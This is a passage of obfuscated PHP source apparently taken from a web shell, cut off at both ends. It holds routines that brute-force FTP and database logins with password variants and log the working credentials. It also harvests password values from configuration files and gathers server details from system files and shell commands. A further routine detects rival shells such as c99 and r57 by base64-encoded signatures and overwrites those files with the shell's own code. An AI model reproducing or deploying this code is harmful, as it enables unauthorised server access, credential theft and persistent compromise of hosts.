"; $success++; } } if($res!="valid"&&$try3=="1"){ $count++; $res=z3l($host,$user,$user."123",$port,$time); if($res=="valid"){ echo "[+] $user:".$user."123 - success
"; $log.="ftp://$host:$port - $user ".$user."123
"; $success++; } } if($res!="valid"&&$try4=="1"){ $count++; $res=z3l($host,$user,z9i($user),$port,$time); if($res=="valid"){ echo "[+] $user:".z9i($user)." - success
"; $log.="ftp://$host:$port - $user ".z9i($user)."
"; $success++; } } } return array( $count, $success, $log); } function z3h($host,$user,$pass,$port,$dbtype,$base=\'\'){ $sql=new my_sql(); $sql->db=$dbtype; $sql->host=$host; $sql->port=$port; $sql->user=$user; $sql->pass=$pass; if($base!=\'\'){ $sql->base=$base; } if($sql->connect()){ return "valid"; }else{ return "invalid"; } } function z2s($host,$port,$dbtype,$try1,$try2,$try3,$try4,$user,$pass=NULL,$sqldb=\'\'){ $count=0; $success=0; $res=0; $log=""; if($pass!=NULL){ $count++; $res=z3h($host,$user,$pass,$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:$pass - success
"; $log.="$dbtype - $host:$port - $user $pass
"; $success++; } if($res!="valid"&&$try1=="1"){ $count++; $res=z3h($host,$user,@strrev($pass),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".@strrev($pass)." - success
"; $log.="$dbtype - $host:$port - $pass ".@strrev($user)."
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i(@strrev($pass)),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i(@strrev($pass))." - success
"; $log.="$dbtype - $host:$port - $user ".z9i(@strrev($pass))."
"; $success++; } } } if($res!="valid"&&$try2=="1"){ $count++; $res=z3h($host,$user,$pass."1",$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".$pass."1 - success
"; $log.="$dbtype - $host:$port - $user ".$pass."1
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($pass."1"),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($pass."1")." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($pass."1")."
"; $success++; } } } if($res!="valid"&&$try3=="1"){ $count++; $res=z3h($host,$user,$pass."123",$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".$pass."123 - success
"; $log.="$dbtype - $host:$port - $user ".$pass."123
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($pass."123"),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($pass."123")." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($pass."123")."
"; $success++; } } } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($pass),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($pass)." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($pass)."
"; $success++; } } }else{ $count++; $res=z3h($host,$user,$user,$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:$user - success
"; $log.="$dbtype - $host:$port - $user $user
"; $success++; } if($res!="valid"&&$try1=="1"){ $count++; $res=z3h($host,$user,@strrev($user),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".@strrev($user)." - success
"; $log.="$dbtype - $host:$port - $user ".@strrev($user)."
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i(@strrev($user)),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i(@strrev($user))." - success
"; $log.="$dbtype - $host:$port - $user ".z9i(@strrev($user))."
"; $success++; } } } if($res!="valid"&&$try2=="1"){ $count++; $res=z3h($host,$user,$user."1",$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".$user."1 - success
"; $log.="$dbtype - $host:$port - $user ".$user."1
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($user."1"),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($user."1")." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($user."1")."
"; $success++; } } } if($res!="valid"&&$try3=="1"){ $count++; $res=z3h($host,$user,$user."123",$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".$user."123 - success
"; $log.="$dbtype - $host:$port - $user ".$user."123
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($user."123"),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($user."123")." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($user."123")."
"; $success++; } } } if($res!="valid"&&$try4=="1"){ $count++; $res=z3h($host,$user,z9i($user),$port,$dbtype,$sqldb); if($res=="valid"){ echo "[+] $user:".z9i($user)." - success
"; $log.="$dbtype - $host:$port - $user ".z9i($user)."
"; $success++; } } } return array($count,$success,$log); } function z2g($a,$b,$c){ global $count,$success,$log; $count+=$a; $success+=$b; $log.=$c; } function z0m($a,$d){ $z= new ZipArchive; if ($z->open($a) === TRUE) { $z->extractTo($d); $z->close(); return TRUE; } else { return FALSE; } } function z1w($return=false){ @ob_start(); @phpinfo(-1); $pi = @preg_replace( array(\'#^.*<body>(.*)</body>.*$#ms\', \'#<h2>PHP License</h2>.*$#ms\', \'#<h1>Configuration</h1>#\', "#
?
#", "#</(h1|h2|h3|tr)>#", \'# +<#\', "#[ ]+#", \'# #\', \'# +#\', \'# class=".*?"#\', \'%'%\', \'#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>\' .\'<h1>PHP Version (.*?)</h1>(?:
+?)</td></tr>#\', \'#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#\', \'#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#\', "# +#", \'#<tr>#\', \'#</tr>#\'), array(\'$1\', \'\', \'\', \'\', \'</$1>\' . "
", \'<\', \' \', \' \', \' \', \'\', \' \', \'<h2>PHP Configuration</h2>\'."
".\'<tr><td>PHP Version</td><td>$2</td></tr>\'. "
".\'<tr><td>PHP Egg</td><td>$1</td></tr>\', \'<tr><td>PHP Credits Egg</td><td>$1</td></tr>\', \'<tr><td>Zend Engine</td><td>$2</td></tr>\' . "
" . \'<tr><td>Zend Egg</td><td>$1</td></tr>\', \' \', \'%S%\', \'%E%\'), @ob_get_clean()); $sections = @explode(\'<h2>\', @strip_tags($pi, \'<h2><th><td>\')); unset($sections[0]); $pi = array(); foreach($sections as $section){ $n = @substr($section, 0, @strpos($section, \'</h2>\')); @preg_match_all( \'#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#\', $section, $askapache, PREG_SET_ORDER); foreach($askapache as $m) $pi[$n][$m[1]]=(@isset($m[2])&&(!@isset($m[3])||$m[2]==$m[3]))?$m[2]:@array_slice($m,2); } return ($return === false) ? print_r($pi) : $pi; } function z1b(){ $distros=array("SUSE LINUX"=>"SuSE-release;UnitedLinux-release", "Mandrake"=>"mandrake-release", "MandrivaLinux"=>"mandrake-release", "Gentoo"=>"gentoo-release", "Fedora"=>"fedora-release", "RedHat"=>"redhat-release;redhat_version", "Slackware"=>"slackware-release;slackware-version", "Trustix"=>"trustix-release;trustix-version", "FreeEOS"=>"eos-version", "Arch"=>"arch-release", "Cobalt"=>"cobalt-release", "LinuxFromScratch"=>"lfs-release", "Rubix"=>"rubix-version", "Ubuntu"=>"lsb-release", "PLD"=>"pld-release", "CentOS"=>"redhat-release;redhat_version", "LFS"=>"lfs-release;lfs_version", "HLFS"=>"hlfs-release;hlfs_version", "Debian"=>"debian_release;debian_version"); foreach($distros as $k=>$v){ $fs=@explode(";",$v); foreach($fs as $f){ if(z4r("/etc/".$f)){ $t=@str_replace("
","",z9o("/etc/".$f)); $t=@trim($t); if(@preg_match("/description=\"(.*)\"/i",$t,$m)){ return $m[1]; } else { return $k." ($t)"; } } } } return "Unknown"; } function z3o(){ $r=z9y("430"); $c=$k=$b=""; $f=z9o("/proc/cpuinfo"); if(!@empty($f)){ $a=@explode("
",$f); $n=0; for($i=0; $i<@count($a); $i++) { @list($x, $y,)=@explode(":",$a[$i]); $x=@rtrim($x); $y=@rtrim($y); if($x=="processor"){ $n++; $r=$n; } if($x=="vendor_id") $r.=$y; if($x=="model name") $r.=$y; if($x=="cpu MHz"){ $r.=" ".@floor($y); $k="y"; } if($x=="cache size") $c=$y; if($x=="bogomips") $b=$y; } if($k!="y") $r.=" <b>unknown</b>"; $r.=" MHz / Cache: $c / BogoMIPS: $b"; } return $r; } function z2j($used){ return \'<div class="\'.z4m("4","3").\'"><div class="\'.z4m("5","3").\'" style="width:\'.$used.\'%;"> </div></div>\'; } function z5a(){ global $sh_exec, $nix; $mem=$buff=$swap=array("",z9y("430")); if($nix&&$sh_exec){ $m=z9e("free -b"); if(!@empty($m)){ $e=@explode("
",$m); foreach($e as $l){ if(@preg_match(\'/mem:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i\',$l,$t)){ $used=@round(($t[2]/$t[1])*100); $mem=array(z2j($used),z9y("426",z7x($t[1]))." ".z9y("429",z7x($t[2]))." (".$used."%) ".z9y("465",z7x($t[3]))); } elseif(@preg_match(\'/swap:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i\',$l,$t)){ $used=@round(($t[2]/$t[1])*100); $swap=array(z2j($used),z9y("426",z7x($t[1]))." ".z9y("429",z7x($t[2]))." (".$used."%) ".z9y("465",z7x($t[3]))); } elseif(@preg_match(\'/-\/\+ buffers\/cache:\s*([0-9]+)\s*([0-9]+)/i\',$l,$t)){ $tot=($t[1]+$t[2]); $used=@round(($t[1]/$tot)*100); $buff=array(z2j($used),z9y("426",z7x($tot))." ".z9y("429",z7x($t[1]))." (".$used."%) ".z9y("465",z7x($t[2]))); } } } } return array($mem,$buff,$swap); } function z9r(){ global $nix,$sh_exec,$dtotal,$dfree,$dused,$win; $it=@intval($dtotal); $iu=@intval($dused); $used=@round(($iu/$it)*100); $r=array(array(z2j($used),z9y("426",$dtotal)." ".z9y("429",$dused)." (".$used."%) ".z9y("465",$dfree))); if($win&&z7e(\'disk_free_space\')&&z7e(\'disk_total_space\')){ $tr=array(); foreach(@range("B","Z") as $let){ if(z4r($let.":/")){ $free=@disk_free_space($let.":/"); $total=@disk_total_space($let.":/"); if($free===false) $free=0; if($total===false) $total=0; if($free<0) $free=0; if($total<0) $total=0; $used=($total-$free); $pused=@round(($used/$total)*100); $tr[$let.":"]=array(z2j($pused),z9y("426",z7x($total))." ".z9y("429",z7x($used))." (".$pused."%) ".z9y("465",z7x($free))); } } if(@count($tr)!==0) $r=$tr; } elseif($nix&&$sh_exec){ $df=z9e("df -B1"); if(!@empty($df)){ $e=@explode("
",$df); @array_shift($e); $tr=array(); foreach($e as $l){ $p=@preg_split("/ /",$l,NULL,PREG_SPLIT_NO_EMPTY ); if(@count($p)!==6) break; $used=@round(($p[2]/$p[1])*100); $tr[$p[5]]=array(z2j($used),z9y("426",z7x($p[1]))." ".z9y("429",z7x($p[2]))." (".$used."%) ".z9y("465",z7x($p[3]))." FS: ".$p[0]); } if(@count($tr)!==0) $r=$tr; } } return $r; } function z2p($file, $user){ global $passarray; if(!@isset($passarray)) $passarray=array(); if(!@isset($passarray[$user])) $passarray[$user]=array(); $f=z9o($file); if(!empty($f)){ $regvar=\'/\$([A-Za-z_][A-Za-z_0-9]*)\s*=\s*([\'"]{1})([^\s
]+)\s*;/\'; $regvar1=\'/([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)[\s
]*=>[\s
]*([\'"]{1})([^\s
]+)/\'; $regvar2=\'/\[([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)\][\s
]*=[\s
]*([\'"]{1})([^\s
]+)/\'; $regconst=\'/define\s*\(([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)\s*,\s*([\'"]{1})([^\s
]+)\s*\)\s*;/\'; if(@preg_match_all($regvar, $f, $m)){ $var=$m[1]; $val=$m[3]; for($i=0;$i<@count($var);$i++){ if(@preg_match(\'/pass/i\',$var[$i])){ if(!@empty($val[$i])&&!@in_array($val[$i], $passarray[$user])){ $passarray[$user][]=$val[$i]; } } } unset($var); unset($val); unset($m); } if(@preg_match_all($regvar1, $f, $m)){ $var=$m[2]; $val=$m[4]; for($i=0;$i<@count($var);$i++){ if(@preg_match(\'/pass/i\',$var[$i])){ if(!@empty($val[$i])&&!@in_array($val[$i], $passarray[$user])){ $passarray[$user][]=$val[$i]; } } } unset($var); unset($val); unset($m); } if(@preg_match_all($regvar2, $f, $m)){ $var=$m[2]; $val=$m[4]; for($i=0;$i<@count($var);$i++){ if(@preg_match(\'/pass/i\',$var[$i])){ if(!@empty($val[$i])&&!@in_array($val[$i], $passarray[$user])){ $passarray[$user][]=$val[$i]; } } } unset($var); unset($val); unset($m); } if(@preg_match_all($regconst, $f, $m)){ $var=$m[2]; $val=$m[4]; for($i=0;$i<@count($var);$i++){ if(@preg_match(\'/pass/i\',$var[$i])){ if(!@empty($val[$i])&&!@in_array($val[$i], $passarray[$user])){ $passarray[$user][]=$val[$i]; } } } unset($var); unset($val); unset($m); } } unset($f); } function z2w($file){ if(!z4e($file)) return false; $me=z9o(__FILE__); if(!$me) return false; return z9t($file,$me); } function z2r($file,$possible=0,$replace=0){ $replaced=""; $knownfunc=array( "c99/variant"=>@explode("||",base64_decode("ZnNlYXJjaCgkZCl8fGZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxnZXRzb3VyY2UoJGZuKXx8c2hleGl0KCl8fF9idWZmX3ByZXBhcmUoKXx8X3Nlc3NfcHV0KCRkYXRhKXx8ZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKXx8ZnNfY29weV9kaXIoJGQsJHQpfHxmc19jb3B5X29iaigkZCwkdCl8fGZzX21vdmVfZGlyKCRkLCR0KXx8ZnNfbW92ZV9vYmooJGQsJHQpfHxmc19ybWRpcigkZCl8fGZzX3Jtb2JqKCRvKXx8Z2V0bWljcm90aW1lKCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHN0cjJtaW5pKCRjb250ZW50LCRsZW4pfHx0YWJzb3J0KCRhLCRiKXx8dmlld19wZXJtcygkbW9kZSl8fHZpZXdfcGVybXNfY29sb3IoJG8pfHx2aWV3X3NpemUoJHNpemUp")), "r57/variant"=>@explode("||",base64_decode("Y2YoJGZuYW1lLCR0ZXh0KXx8Y2hhbmdlX2RpdnN0KGlkKXx8Y2xvc2UoKXx8Y29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcyl8fGNvbm5lY3QoKXx8Y3goKXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZGl2KCRpZCl8fGR1bXAoJHRhYmxlKXx8ZXJyKCRuLCR0eHQ9JycpfHxleCgkY2ZlKXx8R2V0RmlsZU1hdGNoZXNDb3VudCgpfHxHZXRGaWxlc1RvdGFsKCl8fEdldE1hdGNoZXNDb3VudCgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGdldF91c2VycygkZmlsZW5hbWUpfHxpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl8fGxvY2F0ZSgkcHIpfHxtYWlsYXR0YWNoKCR0bywkZnJvbSwkc3ViaiwkYXR0YWNoKXx8bW9yZXJlYWQoJHRlbXApfHxtb3Jld3JpdGUoJHRlbXAsJHN0cj0nJyl8fHBlcm1zKCRtb2RlKXx8cmVhZHpsaWIoJGZpbGVuYW1lLCR0ZW1wPScnKXx8c2FmZV9leCgkY2ZlKXx8U2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJyl8fFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApfHxzaG93X2RpdihpZCl8fHNyKCRsLCR0MSwkdDIpfHx0b1VURigkeCl8fFVfdmFsdWUoJHZhbHVlKXx8VV93b3Jkd3JhcCgkc3RyKXx8dmlld19zaXplKCRzaXplKXx8d2hpY2goJHByKXx8d3MoJGkp")), "c37"=>@explode("||",base64_decode("Q2hlY2tCYXNlNjQoJEhhc2gpfHxDaGVja0hFWCgkSGFzaCwkQ2FzZSl8fENvbmZpZ3VyZUNoZWNrQm94ZXNQZXJtaXNzaW9ucygpfHxDb25maWd1cmVQZXJtaXNzaW9ucyh1c2VyKXx8R2V0TGFzdEVycm9yKCl8fEdldFBlcm1zKCYkRik=")), "BOFF"=>@explode("||",base64_decode("YShhLGMscDEscDIscDMsY2hhcnNldCl8fGFjdGlvbkJydXRlZm9yY2UoKXx8YWN0aW9uQ29uc29sZSgpfHxhY3Rpb25GaWxlc01hbigpfHxhY3Rpb25GaWxlc1Rvb2xzKCl8fGFjdGlvbkxvZ291dCgpfHxhY3Rpb25OZXR3b3JrKCl8fGFjdGlvblBocCgpfHxhY3Rpb25SQygpfHxhY3Rpb25TYWZlTW9kZSgpfHxhY3Rpb25TZWNJbmZvKCl8fGFjdGlvblNlbGZSZW1vdmUoKXx8YWN0aW9uU3FsKCl8fGFjdGlvblN0cmluZ1Rvb2xzKCl8fEJPRkZFeCgkaW4pfHxCT0ZGRm9vdGVyKCl8fEJPRkZIZWFkZXIoKXx8Qk9GRkxvZ2luKCl8fEJPRkZQZXJtcygkcCl8fEJPRkZQZXJtc0NvbG9yKCRmKXx8Qk9GRlJlY3Vyc2l2ZUdsb2IoJHBhdGgpfHxCT0ZGc3RyaXBzbGFzaGVzKCRhcnJheSl8fEJPRkZWaWV3U2l6ZSgkcyl8fEJPRkZXaGljaCgkcCl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGNmKCRmLCR0KXx8Y29weV9wYXN0ZSgkYywkcywkZCl8fERiQ2xhc3MoJHR5cGUpfHxkZWxldGVEaXIoJHBhdGgpfHxtb3ZlX3Bhc3RlKCRjLCRzLCRkKXx8cHJvY2Vzc1JlcUNoYW5nZSgp")), "devshell"=>@explode("||",base64_decode("Y2xpY2tjbWQoKXx8Y3MoJHQpfHxkbGZpbGUoJHUsJHApfHxkbGZpbGUoJHVybCwkZnBhdGgpfHxleGUoJGMpfHxncCgkZil8fGdzKCRmKXx8aW5pdCgpfHxybWRpcnMoJGQpfHxycCgkdCl8fHNob3dkaXIoJHB3ZCwkcHJvbXB0LCR3aW4pfHxzcygkdCl8fHNzYygkdCl8fHN3ZCgkcCl8fHR1a2FyKGwsYil8fHh3aGljaCgkcHIp")), "Egy"=>@explode("||",base64_decode("Y2FsbGZ1bmNzKCRjbW5kKXx8Y2FsbHpvbmUoJG5zY2Rpcil8fGNmKCRmbmFtZSwkdGV4dCl8fGNoYW5nZV9kaXZzdChpZCl8fGNoYW5nZV9kaXZzdChpZCl8fGNsb3NlKCl8fGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpfHxkZWxtKCRkZWxtdHh0KXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZG93bmxvYWQoJGR3ZmlsZSl8fGV4KCRjZmUpfHxHZXRGaWxlTWF0Y2hlc0NvdW50KCl8fEdldEZpbGVzVG90YWwoKXx8R2V0TWF0Y2hlc0NvdW50KCl8fGdldG1pY3JvdGltZSgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKXx8aW5jbGluaygkbGluaywkdmFsKXx8bWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCl8fG1vcmVyZWFkKCR0ZW1wKXx8bW9yZXdyaXRlKCR0ZW1wLCRzdHI9JycpfHxyZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpfHxzYWZlX2V4KCRjZmUpfHxTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKXx8U2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCl8fHNldF9lbmNvZGVyX2lucHV0KHRleHQpfHxVX3dvcmR3cmFwKCRzdHIpfHx2aWV3X3NpemUoJHNpemUp")), "itsecteam"=>@explode("||",base64_decode("YWRkX2RpcigkbmFtZSl8fGJjbigkaXBiYywkcGJjKXx8YnlwY3UoJGZpbGUpfHxieXdzeW0oJGZpbGUpfHxjYWxjX2Rpcl9zaXplKCRwYXRoKXx8Y29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpfHxkZWxldGVEaXJlY3RvcnkoJGRpcil8fGRpcnBlKCRhZGRyZXMpfHxkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl8fGRvc3NlcnZlcigpfHxkb3dubG9hZCgkZmlsZWFkZCwkZmluYW1lKXx8bGJwKCR3Yil8fG9wZW5mKCRwYXJzZWYpfHxwcmludGRyaXZlKCl8fHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpfHxzaXplZSgkc2l6ZSl8fHNxbGNsaWVuVCgp")), "Locus"=>@explode("||",base64_decode("YmJlcnIoKXx8Yzk5ZnNlYXJjaCgkZCl8fGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxjOTlnZXRzb3VyY2UoJGZuKXx8Yzk5c2hleGl0KCl8fGM5OV9idWZmX3ByZXBhcmUoKXx8Yzk5X3Nlc3NfcHV0KCRkYXRhKXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2ZiKCRmbmFtZSwkdGV4dCl8fGNoZWNrcHJveHlob3N0KCl8fGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSl8fGRvc3lheWljZWsoJGxpbmssJGZpbGUpfHxFTlVNRVJBVEUoKXx8ZXJyKCRuLCR0eHQ9JycpfHxlcnIoKXx8ZXgoJGNmZSl8fGV4KCRjZmUpfHxmc19jb3B5X2RpcigkZCwkdCl8fGZzX2NvcHlfb2JqKCRkLCR0KXx8ZnNfbW92ZV9kaXIoJGQsJHQpfHxmc19tb3ZlX29iaigkZCwkdCl8fGZzX3JtZGlyKCRkKXx8ZnNfcm1vYmooJG8pfHxnZXRtaWNyb3RpbWUoKXx8bHNfcmV2ZXJzZV9hbGwoKXx8bHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKXx8bXlzaGVsbGV4ZWMoJGNtZCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNoZWxsZXhlYygkY29tbWFuZCl8fG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpfHxteXNxbF9kdW1wKCRzZXQpfHxteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKXx8bXlzcWxfcXVlcnlfZm9ybSgpfHxteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHBvc2l4X2dldGdyZ2lkKCRnaWQpfHxwb3NpeF9nZXRwd3VpZCgkdWlkKXx8cG9zaXhfa2lsbCgkZ2lkKXx8cnNnX2dsb2IoKXx8cnNnX3JlYWQoKXx8c2VsZlVSTCgpfHxzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KXx8c3RyMm1pbmkoJGNvbnRlbnQsJGxlbil8fHN0cmlwcygmJGFyciwkaz0iIil8fHRhYnNvcnQoJGEsJGIpfHx2aWV3X3Blcm1zKCRtb2RlKXx8dmlld19wZXJtc19jb2xvcigkbyl8fHZpZXdfc2l6ZSgkc2l6ZSl8fHdoaWNoKCRwcil8fHdoaWNoKCRwcik=")), "jackal"=>@explode("||",base64_decode("YXV0aGNyYWNrZVIoKXx8YnJzaGVsTCgpfHxjYWxDKCl8fGNoZWNrc210UCgkaG9zdCwkdGltZW91dCl8fGNoZWNrc3VNKCRmaWxlKXx8Y2hlY2t0aGlzcG9yVCgkaXAsJHBvcnQsJHRpbWVvdXQsJHR5cGU9MCl8fGNoZWNrX3VyTCgkdXJsLCRtZXRob2QsJHNlYXJjaCwkdGltZW91dCl8fGNyYWNrZVIoKXx8ZGljbWFrZVIoKXx8ZG93bmxvYWRpVCgkZ2V0LCRwdXQpfHxlZGl0b1IoJGZpbGUpfHxmaWxlbWFuYWdlcigpfHxmbHVzaGVSKCl8fGZvcm1jcmFja2VSKCl8fGZ0cGNyYWNrZVIoKXx8Z2V0X3N3X25hbUUoJGhvc3QsJHRpbWVvdXQpfHxoYXNoY3JhY2tlUigpfHxoZXh2aWVXKCl8fGhsaW5LKCRzdHI9IiIpfHxpbWFwY3JhY2tlUigpfHxpbWFwbG9naU4oJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCl8fGxpc3RkaVIoJGN3ZCwkdGFzayl8fGxvZ291VCgpfHxtYWlsZVIoKXx8bXlzcWxjbGllblQoKXx8b3BlbmlUKCRuYW1lKXx8cG9wM2NyYWNrZVIoKXx8cG9wM2xvZ2lOKCRzZXJ2ZXIsJHVzZXIsJHBhc3MpfHxwcjB4eSgpfHxzYWZlbW9kRSgpfHxzaGVsTCgkY29tbWFuZCl8fHNob3dpbWFnRSgkaW1nKXx8c2hvd3NpekUoJHNpemUpfHxzbXRwY3JhY2tlUigpfHxzbXRwbG9naU4oJGFkZHIsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxzbm1wY2hlY0soJGlwLCRjb20sJHRpbWVvdXQpfHxzbm1wY3JhY2tlUigpfHxzcWxjcmFja2VSKCl8fHN0cl9yZXBlYXQoJHN0ciwkYyl8fHN5c2luZk8oKXx8d2Vic2hlbEwoKXx8d2hlcmVpc3RtUCgpfHx3aG9pUygp")), "SyRiAn"=>@explode("||",base64_decode("QWJvdXQoKXx8Y2hlY2tmdW5jdGlvTigkZnVuYyl8fGNvbXNoZWxMKCRjb21tYW5kLCR3cyl8fGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl8fENTUygkc2hlbGxDb2xvcil8fEN1cmwoKXx8Y3VycmVudEZpbGVOYW1lKCl8fERlY3J5cHRDb25maWcoKXx8RGlzYWJsZUZ1bmN0aW9ucygpfHxFeGUoJGNvbW1hbmQpfHxmZmlzaGVsTCgkY29tbWFuZCl8fGZvb3RlcigpfHxmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxHZW5lcmF0ZUZpbGUoJG5hbWUsJGNvbnRlbnQpfHxHZXRSZWFsSVAoKXx8Z2V0X3Bhc3MoJGxpbmspfHxHemlwKCl8fEhhcmRTaXplKCRzaXplKXx8aW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlLCRzaXplKXx8TG9nb3V0KCl8fG1hZ2ljUW91dHMoKXx8TVNRTCgpfHxNc1NRTCgpfHxNeVNRTDIoKXx8TXlzcWxJKCl8fG9wZW5CYXNlRGlyKCl8fE9yYWNsZSgpfHxwZXJsc2hlbEwoJGNvbW1hbmQpfHxQb3N0Z3JlU1FMKCl8fHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSl8fFJlZ2lzdGVyR2xvYmFscygpfHxyb290eHBMKCl8fFNhZmVNb2RlKCl8fFNlbGVjdENvbW1hbmQoJG9zKXx8c2hvd1VzZXJzKCl8fFNRbExpdGUoKXx8c3J2c2hlbEwoJGNvbW1hbmQpfHxzdHJfaGV4KCRzdHJpbmcpfHxTdWljaWRlKCl8fHR1bGlzKCRmaWxlLCR0ZXh0KXx8dXBkYXRlKCl8fHdoZXJlaXN0bVAoKXx8d2hpY2goJHByKXx8d2luc2hlbEwoJGNvbW1hbmQp")), ); $content=z9o($file); if(!$content) return false; $cleanct=@preg_replace(\'/[\s
]/\',\'\',$content); foreach($knownfunc as $type=>$funcs){ $score=0; $count=@count($funcs); $min=@round($count*0.75); foreach($funcs as $func){ if(@strstr($cleanct,$func)) $score++; } $foundp=@round(($score/$count)*100); if($score>=$min){ if($replace) $replaced=" : ".(z2w($file)?z9y("290"):z9y("291")); return ($foundp==100?$type.$replaced:$type." (".$foundp."%)".$replaced); } } if($possible){ if((@preg_match(\'/\'.base64_decode("KHN5c3RlbXxwYXNzdGhydXxzaGVsbF9leGVjfHBvcGVufHByb2Nfb3BlbikuezAsMTB9").\'/i\', $content) && 